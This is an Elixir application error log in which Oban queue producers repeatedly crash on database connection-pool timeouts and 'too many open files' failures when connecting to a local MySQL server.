    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:52:58.240918Z], limit: 10, uuid: "3640e93d-b571-4179-8824-eb473aaa90b4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:52:58.240923Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.59576>, refresh_timer: #Reference<0.2525715032.1099431938.72054>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:53:10.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 892ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:52:58.239691Z], limit: 50, uuid: "1fb3d096-7b7b-4f31-a50d-e7a4cda4bf68", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:52:58.239696Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.85703>, refresh_timer: #Reference<0.2525715032.1099431938.72035>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:53:12.734000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:53:13.093000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:53:13.350000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:53:15.171000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:53:15.321000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:53:18.085000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:53:20.041000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:53:22.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 844ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:53:10.239600Z], limit: 10, uuid: "63ce73d9-980a-4fae-987d-952aae5e4281", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:53:10.239606Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.85822>, refresh_timer: #Reference<0.2525715032.1068498948.85821>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:53:22.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1097ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:53:10.239656Z], limit: 5, uuid: "604c0fa0-d068-4069-9524-5ed458d25d2e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:53:10.239661Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.59838>, refresh_timer: #Reference<0.2525715032.1077673987.59819>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:53:22.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1081ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:53:10.239712Z], limit: 5, uuid: "b8136f30-5beb-4be5-b3c6-df9a5b4fee60", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:53:10.239717Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.59840>, refresh_timer: #Reference<0.2525715032.1099431938.72224>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:53:22.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 899ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:53:10.239570Z], limit: 20, uuid: "193b374d-3698-4463-901c-25723c85ab75", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:53:10.239576Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.59837>, refresh_timer: #Reference<0.2525715032.1077673987.59817>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:53:22.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 884ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:53:10.239677Z], limit: 50, uuid: "b8b53e73-9b36-4989-add5-c11c909affc3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:53:10.239683Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.85823>, refresh_timer: #Reference<0.2525715032.1099431938.72221>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:53:22.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 832ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:53:10.238056Z], limit: 3, uuid: "8337ce99-d4ce-48ea-ae4f-7f68778f3531", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:53:10.238066Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.59839>, refresh_timer: #Reference<0.2525715032.1121189889.227613>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:53:26.961000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:53:28.026000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:53:28.590000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:53:30.858000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:53:34.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1010ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
